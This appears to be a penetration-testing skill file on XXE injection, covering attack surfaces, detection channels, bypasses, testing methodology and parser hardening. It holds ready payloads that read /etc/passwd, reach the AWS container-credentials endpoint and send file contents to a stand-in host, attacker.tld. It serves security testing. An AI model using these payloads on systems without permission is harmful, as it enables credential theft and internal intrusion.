7.2 KiB
name, description
| name | description |
|---|---|
| xxe | XXE testing for external entity injection, file disclosure, and SSRF via XML parsers |
XXE
XML External Entity injection is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.
Attack Surface
Capabilities
- File disclosure: read server files and configuration
- SSRF: reach metadata services, internal admin panels, service ports
- DoS: entity expansion (billion laughs), external resource amplification
Injection Surfaces
- REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office)
- PDF generators, build/report pipelines, config importers
Transclusion
- XInclude and XSLT
document()loading external resources
High-Value Targets
File Uploads
- SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives
- Android/iOS plist, project config imports
Protocols
- SOAP/XML-RPC/WebDAV/SAML (ACS endpoints)
- RSS/Atom feeds, server-side renderers and converters
Hidden Paths
- Parameters: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude"
- Processing-instruction headers
Detection Channels
Direct
- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
Error-Based
- Coerce parser errors that leak path fragments or file content via interpolated messages
OAST
- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
- Use
interactsh-client -vfor the callback domain. Reference it as the external DTD host (e.g.<!ENTITY % ex SYSTEM "http://xyz.oast.fun/x.dtd">) and read the DNS/HTTP hit on the interactsh stdout.
Timing
- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
Core Payloads
Local File
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<r>&xxe;</r>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<r>&xxe;</r>
SSRF
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
<r>&xxe;</r>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
<r>&xxe;</r>
OOB Parameter Entity
<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
evil.dtd:
<!ENTITY % f SYSTEM "file:///etc/hostname">
<!ENTITY % e "<!ENTITY % exfil SYSTEM 'http://%f;.attacker.tld/'>">
%e; %exfil;
Key Vulnerabilities
Parameter Entities
- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content
- Works even when general entities are sanitized in the XML tree
XInclude
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>
Effective where entity resolution is blocked but XInclude remains enabled in the pipeline.
XSLT Document
XSLT processors can fetch external resources via document():
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.
Protocol Wrappers
- Java:
jar:,netdoc: - PHP:
php://filter,expect://(when module enabled) - Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
Bypass Techniques
Encoding Variants
- UTF-16/UTF-7 declarations, mixed newlines
- CDATA and comments to evade naive filters
DOCTYPE Variants
- PUBLIC vs SYSTEM, mixed case
<!DoCtYpE> - Internal vs external subsets, multi-DOCTYPE edge handling
Network Controls
- If network blocked but filesystem readable, pivot to local file disclosure
- If files blocked but network open, pivot to SSRF/OAST
Special Contexts
SOAP
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<d>&xxe;</d>
</soap:Body>
</soap:Envelope>
SAML
- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude
- Test ACS endpoints with minimal probes
SVG and Renderers
- Inline SVG and server-side SVG→PNG/PDF renderers process XML
- Attempt local file reads via entities/XInclude
Office Docs
- OOXML (docx/xlsx/pptx) are ZIPs containing XML
- Insert payloads into document.xml, rels, or drawing XML and repackage
Testing Methodology
- Inventory consumers - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs
- Capability probes - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?
- Establish oracle - Error shape, length/ETag diffs, OAST callbacks
- Escalate - Targeted file/SSRF payloads
- Validate parity - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs
Validation
- Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)
- Demonstrate controlled access (file path or internal URL) with reproducible evidence
- Confirm blind channels with OAST and correlate to the triggering request
- Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)
- Bound impact: exact files/data reached or internal targets proven
False Positives
- DOCTYPE accepted but entities not resolved and no transclusion reachable
- Filters or sandboxes that emit entity strings literally (no IO performed)
- Mocks/stubs that simulate success without network/file access
- XML processed only client-side (no server parse)
Impact
- Disclosure of credentials/keys/configs, code, and environment secrets
- Access to cloud metadata/token services and internal admin panels
- Denial of service via entity expansion or slow external resources
- Code execution via XSLT/expect:// in insecure stacks
Pro Tips
- Prefer OAST first; it is the quietest confirmation in production-like paths
- When content is sanitized, use error-based and length/ETag diffs
- Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled
- Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts
- In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly
- Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS
- Test background processors separately; they often use different parser settings
- Validate parser options in code/config; do not rely on WAFs to block DOCTYPE
- Combine with path traversal and deserialization where XML touches downstream systems
- Document exact parser behavior per stack; defenses must match real libraries and flags
Summary
XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.